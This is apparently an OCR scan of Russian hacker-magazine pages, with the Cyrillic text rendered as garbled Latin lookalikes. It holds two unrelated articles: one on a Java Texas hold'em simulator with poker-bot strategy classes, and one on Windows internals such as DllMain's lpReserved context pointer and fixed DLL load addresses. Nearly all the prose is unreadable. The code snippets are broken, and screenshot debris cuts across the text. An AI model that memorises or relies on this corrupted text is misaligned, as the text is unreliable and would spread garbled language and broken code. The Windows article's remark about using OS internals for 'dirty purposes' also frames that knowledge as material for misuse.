getSinglePlayer () — eCnu B Urpe 0CTasCs O4MH UrPOK, TO METOA,
BEpHeT MHAEKC 3TOro urpoka, int getActivePlayer () — KONM4ECTBO
aKTVBHbIX UrpoKoB B urpe. K aTum MeTofam [o6aBnsioTcs Heckonbko set-
MeTOA0B AN U3MEHEHWNS 3HaYeHMI N0 yMoNnYaHuio — setBigBlind (int
bigBlind), setRoundCount (int roundCount). MoxHo caenats
MeTOA MO U3MEHEHMNIO KONMYEeCTBa [leHEer Nepes Urpoit, HO 8 CYMTato, 3TO
He KPUTUYHO, Befb, B KOHLLe KOHLLOB, 3TO CUMYNATOP 415 TECTUPOBaHUA
aNIfOpUTMOB, a TaM He BaXHO, CKOJIbKO [eHer y UrpoKoB B Ha4ane 1rpbl.
XoTs, ecnu genatb Ha OCHOBE 3TOr0 CUMYNATOPa NPUIOXKEHWE A9 UTPbl B
nokep, To CTOUT peann3oBaTb AaHHbIN METOL, MJIOC CenaTh BO3MOXHOCTb
MN3MeHEeHUs KONIMYECTBa UFPOKOB B Hayase Urpbl. Tenepb paccMOTpMM Mof-
pobHee MeTofbl UTPbl 1 TOProBAN.

STARTGAME

LWaru cuMynsaummn B Teopumn pacnucaHsl Bbllle, Ha NPaKTUKe e K HUM
nobasnsioTcs crepyloLine AeNcTBUS: 0bHyNeHne NepeMeHHbIX nepes,
Ha4asioM KaxAoro payHaa, nepeMelunBaHmne KapT Nepef Ha4yanoM Kaxaoro
payHza, NpoBepka Ha Hanuuve bonee 0AHOrO Urpoka B Urpe nocne Kax-
noro kpyra Toprosnun. Hebonbluoe 3ameyaHwe: xoTa nepemeLlnBaHme kapT
11 3aHWMaeT Bosiblie BPEMEHM, YeM BbiTacKMBaHWe CydaliHol kapTsl (kak
Bbino chenaHo nNpu onpefeneHnyt BeposiTHOCTU BbIUIPbILLE B NPOLUION cTa-
Tbe), Boree HarNAAHO U YA06HO 3TO AEMOHCTPUPYETCS Npy caade kapt. Ecam
NpOV3BOAUTENBHOCTU DyAEeT He XBaTaTb, TO MOXHO byfeT onTvMM3npoBaTh
3TOT ANrOpPUTM.

ELLle MOXHO CBEepHYTb KO, MPOBEAEHWS UTPbI B LMKII, MOCKO/IbKY Ceityac Tam
MMetT MecTo NOBTOPSIOLLMECS Y4aCTKM C NpoBepKaMy v NpoBefeHVe Kpyra
Toprosnu. OfiHaKo, 1X BCEro YeTbipe, OHW HEe 3aHMMAtoT MHOr0 MecTa, U Npw
CBOPAYMBaHNM B LIMKI HYXXHO DyfleT 3MeHsTb anroputM pasfayn KapT Ha
CTOA, MNO3TOMY MOKa 0CTaBKM BCe KaK eCTb.

B ncxofiHOM Kofe yacTo BCTpeyaeTcs Takasi KOHCTPYKLMS:

x = (x + 1) % 9;
3T1a MaccusHag KOHCTPYKUMA npedcTaBndeTr coboit Bcero nuilb unknnye-

cKoe yBennyeHne 3HaveHus nepeMeHHol x ot 0 go 8-9. B paHHoM cnyyae
OHO 03HAYaEeT KONYECTBO UrPOKOB 3a CTOJIOM.

TRADE

BxonHolt napameTp B MeToAe, KOTOPOM MPOBOAUT KPYr TOProBy
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CxeMa cumynsaTtopa

— Homep kpyra Toprosnu. 310 1 (npe-dnonl, 2 (dnon), 3 (tepH], 4
(pusepl. B Hauane MeTona nposepaeM Ha nepebiit Kpyr TOProsu,

M eCan Aa, TO Haxo4yM No3uuuu Manoro 1 bonsworo 6nainHAoB

W KnageM aeHbru 8 baHk. [lanee npoucxoAuT cam Kpyr TOprosiu.
HenocpencTBeHHO nepes X040M Kaxioro Urpoka npoBepsioTcs ce-

public int getAction(float p, float totalBet, float

curBet, float pot, int betting, int minRaise) {
if (curBet == 0) {
btnCall.setText ("Check") ;
} else {

btnCall.setText ("Call " +
String.valueOf (curBet)) ;
}
btnCall.setVisible(true) ;
btnFold.setVisible (true) ;
btnRiase.setVisible(true);
btnRiase.setText ("Raise " +
String.valueOf (curBet + minRaise));
frame.repaint () ;
action = -1;
while (action == -1) {
try {
Thread.sleep(500) ;
} catch

e.printStackTrace() ;

(InterruptedException e) {

}

frame.repaint () ;
}
btnCall.setVisible(false);
btnFold.setVisible(false) ;
btnRiase.setVisible(false) ;
frame.repaint () ;

return action;

Ayouime napaMeTpbl: bonble A1 OAHOTO UrpOKa B Urpe, MOXeT N
TekyWwuit nrpok nrpate. [1py NOBTOPHOM Kpyre TOProsav nposepsieT-
s, He paBHa N1 CTaBKa Tekyllero urpoka MakcumasnbHoi ctaske (1o
eCTb HYXHO JIN UTPOKY elle BKaAbBaTb AeHbru B baHk), n ectb any
urpoka soobue geHbru.

MpoBepKku nepes Ha4anoM TOProeau

// yBenm4duBaeM HOMED TeKyllero UTPOKa

curPlayer = (curPlayer + 1) % 9;
if (getSinglePlayer() != -1) {
break;
}
if (stateOfPlayers[curPlayer] == false) {
continue;
}
if ((repeatTrade == true) && (betOfPlayers|[curPlayer]
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== maxBet)) {
continue;
}
if (moneyOfPlayers[curPlayer]

Il

I
(=}
=

continue;

Mocne 3TX NPOBEPOK MOXHO NepPexoAnTb HenocpeCTBEHHO K onpefene-
HUIO TeKYLLLEro Xxofa urpoka. [11s 3Toro BblYMcaAsieM BEPOSTHOCTL BbIUMPbI-
Llla MrpoKa Ha 0CHOBE ero KapT, KapT Ha CTOfe ¥ KONMYeCTBa UIrPOKOB U
BbI3blBaeM MeTof MHTepdeiica ILogic Ana onpeaeneHuns xofa urpoka:

BbizoB MEeTOo[0B pacyeTa BEPOATHOCTU U NPUHATUA pel.ueum‘il

float p=logic.getProbabilityOfWin (
handOfPlayers[curPlayer], board,getActivePlayers());
int action=playerslList.get (curPlayer) .getAction(p,
totalBet [curPlayer] + betOfPlayers|[curPlayer],
maxBet-betOfPlayers|[curPlayer] ,pot,betting,

maxBet==0?bigBlind:maxBet) ;

MeTop pacyeTta BEPOSTHOCTY BbI3bIBAETCS CO CEAyIOLLMMUI NapaMeTpamMu:
TekylLMe KapTbl UTPOKa, KapTbl Ha CTOMIE 1 KOJIMYECTBO akTHUBHbIX (Tex, KTo
He cBpocun kapTsl) UrPokoB B Urpe.

[epBblit napamMeTp B MeTofe getAction — BEepPOATHOCTb BLIMIPbLILLA;
BTOPOV — CyMMa BCeX MOCTaBJEHHbIX fleHer 3a NpoLble Kpyru Top-
rOBAN ¥ MOCTaBNEHHbBIX AEHEr Ha TeKyleM Kpyre TOProsan; TpeTuii
napaMeTp — TO KONIMYeCTBO [leHEr, KOTOpOe HYy>XHO MoCTaBUTb UFPOKY,
4T0bbI YpaBHATH CTaBKM, TO €CTb PA3HOCTb MeX/Y MakCUManbHOM
CTaBKOW Ha TeKyLLEM Kpyre TOProBAU W TeKyLel CTaBKON NrpoKa;
4eTBepThIi NapameTp — pa3Mep baHKa; NATbI — HOMep Kpyra Top-
roB/N, WECTON — MUHUMalbHOE KONUYEeCTBO [leHer, KOTOPOe HYXHO
nocTaBuTb Npu pelse. 34ecb Mbl MPUHANN €ro Kak 3HayeHne Mak-
CUMasbHON CTaBKW 3a TeKyLUiA KPYyr TOProBAU WK, eCAu 9Ta CTaBKa
paBHa Hyflio, pa3mep bonbworo bnanHia. [Mocne nonyverHus geicTsns
OT urpoka (nepemerHas action) BbinonHsaeM 370 AencTere. AIropuTM
TakoB: ecnn urpok caenan fold, To genaem ero HeakTWBHbIM; ecnu
call, To cHauyana npoBepsieM, MOXET /N OH MNOCTaBUTb AEHbIU, UK
cpa3y nget all-in, a noToM BeinonHAeM TpebyemMoe felcTBMe, TO eCTb
MW CTaBWM YacTb [lEHEr, WK CTaBUM BCe, YTO eCTb; ec/y raise, To
cHavana ypaBHMBaeM CTaBKy Wrpoka 40 MakCUMasbHOM CTaBky, a
MOTOM CTaBWM OCTaBLUYlOCH YacTb AeHer, Tpebyemyto Ans peiisa. B
obllem cnyyae npu cTaBke cleayeT NpoBepsTh, eCTb M Tpebyemas
CyMMa Ha CYeTy y Urpoka, ec/in HeT, TO CTaBMM BCE 0CTaBLUMECH [eHb-
v (all-in). Mocne NpoBefeHNs CTaBOK BCEX MTPOKOB MpoBepsieM, BCe
SN UFPOKW NMOCTABUAN OAMHAKOBOE KONMYecTBO AeHer. Ecnu kTo-To He
NOCTaBWJI, Uy HEro MpK 3TOM eLle eCTb AeHbri, MPOBOAUM MOBTOPHbI
Kpyr TOpProsu.

CUMYNALNA

Mepen HayanoM urpel HY>KHO 06aBWTL MTPOKOB. ITO AeNaeTcs CenyiolnMm
obpazom:
[lobasneHwe nrpokos gns urpbl 8 HoldemForm

List<ILogic> playersList=new ArrayList<ILogic>();
playersList.add(frame) ;
playersList.add(new FoldLogic());
playersList.add(new CautiousLogic()) ;
playersList.add(new CallLogic());

RationalLogic()) ;
playersList.add(new AggressiveLogic()) ;
playersList.add )

(

playersList.add D) 5

(
(
(
playersList.add (new
(new
(new CautiousLogic ()
(new AggressivelLogic
(ne

playersList.add 7 RaiseLogic());

Bo BTOpOIt cTpoyke Mbl flobaBnsiemM B Ka4ecTBe UIrpoka TekyLLyio Gopmy, 3To
03HaYaeT, 4To BCe MeTOAbl NPUHATUSA pelleHnil Ans nepsBoro urpoka bynyt
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MpaBuna nokepa:

http: //www.pokerbonus.org.ua/menu/pravila.html
http://www.tehasskiy-holdem.info/
http://www.pokerstars.com/ru/poker/games/

texas-holdem/

DyHpaMeHTaNnbHas TeopeMa nokepa:
http://poker-wiki.ru/poker/dyHoaMeHTAILHAS_

TeopeMa_TIlokepa

Buku no nokepy:
http://poker-wiki.ru/

BbI3bIBaTbCA U3 370l popmbl. OH, B cBOIo o4epeab, byaeT crpa-
LMBaTb nosb3osatena, 4to genats — fold, call wan raise.

[lna Havana npoBeaeM Urpy Mexzy Yen0BeKOM 1 KOMMbIO-
TepHbIMU WIPOKaMu, NpoBepuUM paboTy NpaBul CUMyRSLUK
— Kak pasfatoTcs KapTbl, Kak XO4AT UIPOKK, Kak MPOMUCXOANT
cMeHa gunepa. S ownbok He Hallen, HO OHWM HaBepHsika
TaM ecTb. [103TOMy ecnv Tbl YTO-TO Halwen, unn y Tebs byayTt
NpefoXeHNs No yyYlWeHno NporpaMmbl, MULLK MHe Ha
timreset@mail.ru

[Mepeuncnio HekoTopble HETOYHOCTU B CUMYNALLIAK, YTODbI
3HaTb, rAe MOXHO [0feNaTb CUMYNATOP:

1) OrikcnpoBaHHOE KOANYECTBO UTPOKOB. MOXHO caenatb ot
NBYX [10 flecsTu.

2) B HoldemForm He oTobpaxaetca duika aunepa, xoTs
meToa changeDillerPosition npu cmeHe funepa Bbi3bl-
BaeTcs. HyxHo fobaBuTb Ha GopMy Bo3ne nrpoka-annepa
MOMETKY.

3) PukcrpoBaHHOE KONMYECTBO fieHer B Havasne nrpsl. MoxHo
clienaTb U3MEeHeHVe 3TOro 3HaYeHUs nepes Urpow.

4) Tonbko Lenble 3HayeHWs 6oAbLWOro U Manoro bnanHos.
Caenatb Tun float ans Hux. Int Bein BEIbPaH ToNbLKO 13-3a
MpOW3BOANTESNIBHOCTU... 1 TO, HABEPHOE, 3TO CMOPHbIN BbIHOP.
5) HenpasunbHblil BbIGOP MUHUMANbEHOTO 3HAYEHWs CTaBKM
npw peiize. Coenatb BblYMCIEHE MUHMMATBHOTO peii3a no
npasunam. Ccbiika Ha HUX ecTb B CTaTbe.

6) OuikcuposaHHoe yBenuyeHve ctasku npu peiize. Caenatb
3HaYeHWe peii3a AMHaMMYeCkM — OT MUHMMasbHOrO 3Haye-
HWSI 4,0 MaKCMMaJbHOTO.

7) [pu OTKPBITUM KapT, eCIN €CTb UMPOKM C OAUHAKOBLIMY
KapTamu, BbIMIPbIBAET TOILKO NEPBbIA UrPoK. MoxHO 3T0
MCNpaBWTb, YTODOBI BBIVIPBILW ENNCH NOPOBHY MEX/y Urpo-
kamu. XoTs aTa olumbka byaeT NoBTOpPSTLCA HevacTo [Bce-Taku
BEPOSITHOCTb TOrO, YTO Y UrpoKoB ByayT ABe OAMHAKOBbIE MO
cuie koMBUHaumMu, Mana), flydlle BCe e peannsosarts ee no
npasunam. locne Toro, Kak bbia NPOTECTUPOBAH anroprT™
CUMYNSALWMK, 3aMYCTUM HECKO/IbKO AECSATKOB payHAoB B 0bonoy-
ke HoldemConsole. Mirpoku Tam pacnpegeneHbl cnefyiowmnm
obpasom:

[lobasneHwe nrpokos ans nrpbl B HoldemConsole

playersList.
playersList.
playersList.
playersList.
playersList.
playersList.
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RationalLogic()) ;

v FoldLogic());

CautiousLogic()) ;
CallLogic());
CautiousLogic()) ;
AggressiveLogic());

playersList.add (new RandomLogic()) ;
playersList.add(new AggressiveLogic()) ;
playersList.add(new RaiseLogic()) ;

50 payH[j0B Ha MOeM HoyTe BbINOAHANNCL 0Koo 15 MuHYT. B

npuHLUWMne, npremnemMoe 3Haverune. KonmyecTtso feHer nocne
49 payHnos cnegyoulee (HauanbHoe KONMMYECTBO Y BCEX OAM-
Hakoso — $750):

1-m — $580
2-1 — $590
3-;m — $570
4-71 — $2220
5-m — $570
6-7 — $680
7-1m — $0

8- — $750
9-11 — $790

[Tocne BTOpoOIt cUMynsALMK:

1-m — $570
2-1m — $560
3-% — $580
4-71 — $2450
5-11 — $590
6- — $1110
7-1m — $0

8- — $890
9-11 — $0

BbIBOJ

Tenepb camoe rnaBHoe — WHTeprnpeTauVs pe3ynbTaTos.
Bbile MOXHO 3aMeTUTb, Y4TO CaMblil YyCMeLHbI NrpoK

— CallLogic, 3a HuM cneayeT Raiselogic (B nepsom
cnyyae) n Aggressivelogic (so BTopom cnyuael. Mouemy
Tak? Beflb caMblii ONTMManbHbIA anropuT™M y Hac — 3T0
RationallLogic 1, no naee, oH fonkeH Bcex 0bbIrpbI-
BaTb? [la, 3T0 Tak, HO Ha [@HHOM 3Tamne 3TOT aNropuT™
He y4uTbiBaeT OAHOM BaXHOW COCTaBNAOWEN — UCTO-
puu pyK, To eCcTb TOro, Kak XO4AT 0CTalbHble UTPOKK

npv TeX WK UHBIX KapTax U TekyLMx xo4ax urpokos. A
BeAb UCTOPUSA pyK MO3BOAAET y3HaTb, YTO 3HA4aT X0OA4bl
NrpokoB — BnedyloT M OHW (TO eCTb KONMPYIOT W peli-
34T co cnabbiMu pykaMul uam y HUX 4elCTBUTENBHO
cunbHble kapThl. bonbwe nHdopmauun ob nrpokax, no
TeopeMe nokepa, NPMBOAUT K Ny4LIMM xof4aM. Tak kak
OH 3TO He y4MTbiBaeT, @ 0CHOBbIBAETCS TONIbKO Ha CTaB-
kax 1 pasmepe baHka, To Mosy4aeTcs, 4TO OH MHOTO pyK
He pa3birpbiBaeT, a cbpacbiBaeT. B otnnyne ot gpyrvx
nrpokos — CallLogic, RaiselLogic n Aggressivelogic.
OHu e pa3birpbiBatoT 60abLION AMana3oH pyk, To ecTb
bnedytot. Kctatu, xoten bbl caenats Hebonblwoe 3ameva-
HWe Kk cBoeW npolwol ctatee. B ycnosun onpegeneruns
nencrTeuga BMecTo SB HyxHo vcnonb3oBats minRaise,
rae minRaise — MUHUMaNbHbIN pa3Mep CTaBKW, KOTOPbIV
HY>XHO cpenaTb npu peise. OH paBeH nocnefHel cTaBke
Mrpoka, KoTopblid xoaun go Hac. B obuwem, TBopYM, fopa-
6aTbiBalt norunky v 0bsa3aTeNbHO NULIM HaM NUCbMa, Befb
MMeHHo bnarogapsa TBOMM 0T3bIBaM — OT KPUTUYHbIX U
[@XKe arpeccrBHbIX [0 MO3UTUBHbIX U Aaxe bnarofapHbix
:J — Mbl NpUHANK peweHve 1 fanblie pasBruBaTh TEMy
KOAWHra nokepHbix botos. Ecnu Bce noliget HopMansHo,
TO B Clleflylollel cTaTbe Mbl peannsyem B3auMoencTemne
C KINeHTOM nokep-pymMa — cUuUTbIBaHWe nHdopmaLum u
HaXuMaHne Ha KHOMKW. 3¢

[INFO

> info

[Moka B cumynsTope
€CTb HETOYHOCTH,
HO eC/IV UX 1C-
npaBuTb 1 CAeNaThb
XOpOLUMI nHTepdenc
HoldemForm, To
MOXHO bypeT nuc-
nonb30BaTb ero Ans
TPEHUPOBKM UTPbI
B MOKep.

DV

B

>dvd

Ha nvcke Tebs xayT
nexonHnkn. OHM cHab-
KeHbl noapobHenei
LoKyMeHTaLumeit

8 dopmate JavaDoc

1 KOMMEHTapUaMu

B KoJle, Tak YTo pa3o-
BpaTtbca ¢ HUMK He
cocTaBuT TpyAa. Tekct
npoLwomn cTaTbu
JIEXMUT TaM Xe.

MHoro fokymeHTaunm
no nokepy Ha caiTe

http://poker-wiki.ru
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WccneayeM Heapa onepaLMOHHON CHCTEMbI
C noMolLilblo fie6arrepa u He TONIbKO

Y Ctuena Kuura ectb npoussegenue «llotaeHHOe OKHO, NOTaeHHbIN
can». He Mory ckasatb, uTo A 1106110 TBOPYECTBO 3TOF0 NUCATENS, HO
C/IM Tbl HE YHTaN 3TY KHUTY, HAaCTOATEIbHO COBETYH0 HAWUTH M NPOYECTb.
OueHb 3aHMMaTeNbHaA ¥ 0AHOBPEMEHHO NyratoLwan KHura. B new co
Bcei npucywwen CtueeHy KnHry yacarowiei KpacoTon U3N10XKeHHS
paccKa3biBaeTCA 0 TOM, KaKKe TakHbl MOXET XpaHUTb B cefe CO3HaHKe

no6oro yenoseka.

BoT v ceronHs Mbl, HaBepHoe, He DyileM pa3roBapuBaTh Ha Kakyto-To KOH-
KpeTHyto TeMy. Mbl MpocTo HeMHOro nonasaeM B notaeHHoM cagy Windows,
3abpaBLwinch Tyaa Yepes noTaeHHoe okHo aebarrepa :). A nonpobyio pac-
CKa3aTb O CKPbITbIX MeCTaX, CTPAHHOCTAX M HEN3BECTHOCTAX OﬂepaLl.VIOHHOPI
cuctembl Windows. 311 3HaHna nomoryT Tebe, Kak NporpaMMUCTy, ay4Lle
3HaTb, MOHUMaTb W UCMOB30BaThb 3TV CaMble NoTaeHHble MecTa B CBOWIX
TPSI3HbIX LENsX.

BBEAEHHUE

[laxke no NpoLIeCTBUM MHOTUX IET, MOTPAYEHHbBIX Ha M3yYeHne BHYTPEHHOCTEN
OMepaLMOHHOM CUCTEMbI U CUCTEMHOIO KOAWMHTA, MOHMMAEelLb, 4TO NOCTUYb
Bce ToHkocTn OC Bpaf nm yaactes. S He vMeto B BUAY UMEHHO cebs — Takoro
MHEHWS NPUAEPXMBAIOTCH MHOTME MPOrPaMMUCTbI, C KOTOPbIMU § 3HAKOM.
[pv 3TOM 334acTylo eAVHCTBEHHbLIM MHCTPYMEHTOM, MO3BONSIOLLM BbIMbITaTb
Te UV VHble CEeKPeTbl ONEePaLOHHON CUCTEMbI, CTAHOBUTCS OTAAAUMK UK
nebarrep. XoTa He BCe II0BAT BO3UTLCS C OTNAUNKOM, MONOXKEHNS ieN 3T0 He
MEHsIeT — eC/in Xo4ellb HaXxoAWTb, MPOCTUTE 3a Kanambyp, NoTaeHHble OKHa B
Windows — 6e3 Hero He oboiTuch. MTak, HauHeM.

3ATAZLOYHbIA NAPAMETP LPRESERVED B DLLMAIN

BceM Ham n3BecTHa Touka Bxoga npu ctapte bubavotek — DUMain:

BOOL WINAPI Dl1Main (
_ in HINSTANCE hinstDLL,
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_ in DWORD dwReason,
__in LPVOID lpReserved
):

MpuHUMaeT oHa [Touka Bxoaa) Tpy napametpa. C nepebiMu AByMSA BCe
MOHATHO, HO Kak bbITb € TpeTbM? M feicTBUTeNbHO, 3a4eM HyXXeH 3TOT
napametp lpReserved, ecnu Hurge B Koge Npv MHMLManv3auum brubnuotekm
OH bonblle He ncnonbayeTca? Oka3biBaeTcst He BCe Tak MPocTo, Kak MbiTaeT-
cs1 370 nokasatb Microsoft.

MSDN yTBepxaaeT, YTo 3TOT napameTp UCMOob3yeTCs NPy 3arpyske/Boirpy3-
ke brbnnoTekn; B YaCTHOCTM, MPU CTaTUYeckux onepauunsx bubamnorekn atot
napameTp COAepXUT OTIMYHOE OT HyNs 3HadeHune. M, HaobopoT, npu grHa-
MUYeckux onepauysx lpReserved byaeT paBHbIM Hynto.

OTkpoto cTpaluHyto TalHy: [pReserved ecTb HMYTO MHOE, Kak yka3a-

Teflb Ha KOHTEKCT CTapTyloLLero NpoLecca, KoTopbIi rpy3uT bubanoteky!
MoapobHOCTM TakoBbI: NpK CTapTe HOBOrO NMOTOKa FAPO CTABUT €10 B
oyepenb Anga ucnonHenns s suge APC — AsyncProcedureCall, kotopebliit
nepepaetcs B dyHkumio LdrinitializeThunk, kotopbiit Bei3bisaeTcs Ntdll.dll.
OfHMM 13 napameTpoB, koTopbii Nnepepaetcs LdrinitializeThunk, ssnaetca
ykasatenb Ha cTpykTypy CONTEXT, KoTopasi onucbiBaeT HayanbHoe coCcTosi-
HWe noToka — PerncTpel, AaxHble 1 T.n. Mocne BbinonHeHns APC, koHTponb
nepefaetcs LdrinitializeThunk. Pa3 yx vcnonaHeHve HoBOro notoka Hauu-
HaeTcs ¢ Bbi3oBa ntdlllLdrinitializeThunk, To aToit dyHKUMM NepepaeTcs
CTapToBbIA agpec, onpefeneHHblin dyHkumen CreateThread. Takum obpasom

XAKEP 08 /139/ 10



EA PE Tools v1.5 Xmas Edition - by NED:x/[uinC], http://www.uinc.ru/

PE Tools v1.5 Xmas Edition - by NEO=,/TuinC], http:/ s uincr, = 0] x
m Hw /[uinC], http:/, / =IOl > ey i
@ ERr S| B o 0/#F2raE e
= Path PID Image Base  Image Sce |
g’;mm = o i i S A S <1 d:iwindowstexplorer.exe 00000678 01000000  ODOFFO00
Udl AR it eh c:\program Fleslflashget|flashqet.exe 00000660 00400000  OO1AAO00
9 d:\windowsisystem32\ctfmon.exe 00000SC4 00400000  0ODOSO00
ﬂd Windowstsystem3zisvehost.exe 00000SFC 01000000 00005000
Flesic ft sharedivsTdebogimdm.exe 00000738 00400000
Dd:mmemm.e:s 00000540 01000000  00OODO0O
[ diwindowes\system3z|wsentfy. exe
[d:\windowes\system32isvchost exe 00000246 01000000 00006000

1551 2] | K ]

Appeca3sarpyskuntdll.dllu kernel32.dll B npoueccaxexplorer.exe u firefox.exe

CTAaHOBWTCA MOHATHO (a y>X nop, oTnagumkom — Tem boreel),
yto CreateThread nonxer nepepats yepe3 APC B Bbi3oB
LdrinitializeThunk napameTpbl cTapTa npotecca.

Mopgepem wtorun: B cnyyae, ecnm dwReason paseH DLL
PROCESS_ATTACH (npu 3arpyske 6ubnunotekn), lpReserved
paBer NULL gns auHamuyeckoit 3arpyskn v non-NULL gna
CTaTUYecKoit 3arpy3Kku.

B cnyuae, ecnv fdwReason pasen DLL_PROCESS_DETACH
(npw Bbirpyske bubavoteku), lpReserved paser NUL npu
Bbi3oBe FreeLibrary n npu ownbke 3arpyskm DLL, 1 non-
NULL — npu okoH4YaHuu npotecca.

3auem Microsoft ckpeiBaTh 310T dpakT? Ha camom gene, 5 bbl
TOXe ero ckpbis 3. Moaymali caM, CKoIbKO BO3MOXHOCTEN
nofMeHbl KOHTeKCTa oTkpbiBaeTcst npu 3tom! YTo? Thl HuKor-
[la He cnbilan o KoHTeKkcTe npouecca? W cuctemHblii BbI30B
SetThreadContext Tebe Toxe H¥ 0 YeMm He rosopuT? Oken,
paccMmoTpuM. Bo-nepsbix, koHTponb Hag cTpykTypoit CONTEXT
[lacT HaM KOHTPOJIb Haf, perncTpamu npoteccopa. Bee peru-
CTpbI MpoLLeccopa npu cTapTe ykasblBaloTCs B CTPYKType
CONTEXT (cMoTpu onucaHwme 3Toi CTpyKTypbi). 310 MOryT GbiTh
DEBUG-peructpbl An KOHTPOAS Haf OnpefeneHHbIM npu-
JIOXKEHMEM UV XKe YCTaHOBKU MepexBaToB BbI30BOB GYHKLVI.
Mnw, kctatn, yctaHosku dnara TF B pernctpe EFLAGS
Bo-BTopebix, nyTeM n3meHerus lpReserved->Eip MoxHo v3me-
HWTb TOYKy cTapTa 6rubanoTekn. 3Ta 0COBEHHOCTb Takke MoXeT
BbITb Mcnonb3oBaHa B onpegeneHun sepcun OC, koTopas
MCMONb3yeTCs Ha LiefleBoii MallvHe nyTeM BbiDopa To4kM BXOAa
B 3aBucumMocTh ot Bepcun OC. HesameHnMoe cBOIMCTBO AN
obecneyeHnss NepeHOCMMOCTH KoAa, KCTaTH.

AHAJIOTUYHBIE ALPECA 3ATPY3KM DLL

M peiictBUTENBHO, €CIN Thl 0Dpallan BHUMaHwe, Takue
6ubnuotekn kak ntdll.dll, kernel32.dll n user32.dll gnga Bcex
MpoLeccoB BCErAa 3arpy>aloTcs no ogHOMY ¥ TOMY CUCTEMHO-
My agpecy, xota Microsoft aTo Hukak He obbsicHsieT. Mouemy?
Kak Tbl 3HaeLWb, ykazaHHble bnubanoTekn NnpeacTaBasioT
nporpaMMmncTy Habop cucTeMHbIX GyHKLMIA Ana paboTsl ¢
cuctemoit. K npumepy, ntdll.dll sBnsieTcs camoit BaxkHoM 13
l03epMogHbIX brbnvotek. OHa npeacTaBnseT coboii cBoeo-
Opa3Hyio 3arnyLky 415 BbI30Ba CUCTEMHbIX cepBUCcoB. M oHa
LlONXKHa ObiTb 3arpy>keHa no ofHOMY v TOMY e afpecy UMeHHO
10 370 NpuyvHe. Hanpumep, cospaHue noboro 103epmoga-
HOro MOTOKa BCErAa NPOUCXOAMT Yepes BbI30B GyHKLMM
ntdll!LdrinitializeThunk. ®ynkums ntdll!KiUserApcDispatcher
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Hy>XXHa cucTeme 19 Toro, 4Tobbl NOCTaBUTL B 04epefb
MCMOJTHEHWNE 103ePMOJHBIX aCUHXPOHHbIX BbI30BOB. AP0
ornepaLyoHHO CUCTEMbI OTpefenseT aapeca sTUX GYHKLMN
ellle Ha CTaAun MHMLUManM3aummn cuctemsl. M, Tak kak aapo
MCMoNb3yeT CK3WNPOBaHHbIE YKa3aTeNn Ha 3TU GyHKLMUK
(ang 6bicTpogenctaual, ntdlldll yxe He MoxeT BbiTb 3arpy-
xeHa no apyrum agpecam. Kernel32.dll He MoxeT BbiTb
3arpyxeH no pasfinyHbIM afipecam, noToMy 4To bonbluoe
KONMYecTBO NpeAocTaBsieMblx 3Toi bubnnoTekoil cepsrcos
MCMONb3YITCH CUCTEMOW 18 KPOCCMPOLLECCOBBIX MHBEKLMIA
kofa. Hanpumep, kernel32.dll otBeTcTBEHHA 3a 0bpaboTunk
cobbITuit koHconu (4to genaeT komaraa Ctrl+C B koHconu,
noMHUWb?). Tak Kak KOHCOMb MOTYT 3anyCcTUTb MHOMMe Mpo-
rpammbl, agpec obpabotunka Ctrl+C ponxeH bbiTe 0OAHUM 1
TeM xe. Hy a user32.dll nocTosiHHO 3arpyxaeTcs no ogHo-
My 1 TOMY e aApecy Mo TO NPOCTON NPUYMHE, YTO OHa
NpeAocTaBaseT Kydy CepBMCOB, UCMOMb3yeMbIx Win32k.sys

— LpaiiBepa, peanusyiolero okoHHyio nogcuctemy Windows.

Yka3zaTtenu Ha atu dyHkumnm win32k.sys nosyvaet yepes
Bbi30B NtUserlnitializeClientPfnArrays Bo Bpems 3arpy3ku.

0HONOTOYHOCTb? HE TYT-TO bb1J10!

HacTo nu Tl MCMONb3yellb B CBOUX NMporpamMmMax oTAesbHble
notokn? Ecnv nporpamma npocrtas, u et He Tpebyetcs obpa-
6aTbiBaTh bonblUME MacCUBbLI AaHHbIX, BPAS M OHa s Tebs
ByLeT MHOronoTokoBoW. Ho 3To TONbKO Ha NepBblit B3NS4,
MoTomy 4To MHorve (ecin He Bce) Win32-npunoxeHns Ha
CaMoM [iefle ABASIOTCA MHOTOMOTOKOBLIMU MpOrpamMMamMi,
faxe ecnu ux paspabotuunk ytBepxaaet obpatHoe. K npume-
py, Npv cTapTe nporpamMmbl cepsucom nogcuctemsl CSRSS B
nporpamMmMe Mo yMoa4YaHuio Co3aeTcs OTAENbHbIA NOTOK As
06paboTky KoHCoMbHbIX cobbITui Tuna Ctri+C/Ctri+Break.
Bo-BTopbix, bonbwwmHcTBo Win32-API-dyHKkuUMit ans
BbIMOJSIHEHWS CBOErO KOAA MCMOSb3YT OTAEbHbIE MOTOKM.
Hanpumep, BbizoB WSAAsyncGetHostByName ncnonb3yet
CUHXPOHHbIV BbI30B gethostbyname B oTAenbHOM MoToke,
nocJsie Yero Bo3BpallaeT pesyasTaThl 3anpallyBatoLlemy
Yepes OKOHHble COOBLLEHNS.

PASHULIA MEXDY HATUBHbIMU X86-
BEPCUAMU BUBJIMOTEK U UX WOW64-
AHAJIOTAMH

MexaHnam Wowé4 BkntoyaeT B cebs nosHblin Habop 32-6ut-
HbIX cucTeMHblix dUL, peanuaytowmin Win32 API-dyHkumnn

Q \program Fles\mozila firefox|f exe 00400000  DOOEO0OD

[ 5] drwindowstsystem32inkdl.di 7C500000 _ OO0B3000

| 5] dr\windowsisystem3zikerneldz.di 7CB00000___ 00OFS000

dc Wamﬂeshmahm:wd 10000000  0OB3C000

C 00250000 00073000

i) [ lprwam Ibs\mzlamwmmls ol 78130000 DOOBO00D

2] o \windows\system32imsvert il 77C00000 00058000

... ) [} Wamﬁas\,m:laﬂrﬂo:lmmd 000000 DOCFACDD

5] deywindows) AR JE%0000 00091000 ‘f': Foxinspré.di DO4E0000 00029000

) de\windows|system3zimsvart i 77000000  000SE000 e o Z7DEN000 1 000
Dy a 740000 ootsooos x| letnmmwmmw 77E70000  ooosz000 v
Processes loaded: 23 BoftiCEinotioaded ;| P 24 SofuCE ot loaded

DVD

> dvd

Ha DVD Tbl cMOXelWwb
HaUTU NocneaH0
sepcuio WinDBG,
He3aMeHWMOoro oTnag-
yuka nog OC Windows,
a TakxXe Koe-Kakoi
NHTEPECHbIN KO, KO-

TopbIli no3sonuT Tebe
cAenaTb CBOK CUCTEMY
bonee 3aLLNLLLEHHON.

[na bonee KoHKpeTHO-
ro N3y4YeHus BHYTpeH-
HocTe OC Windows
06bIYHbIX popyMOB
Heao0CTaToOYHO.
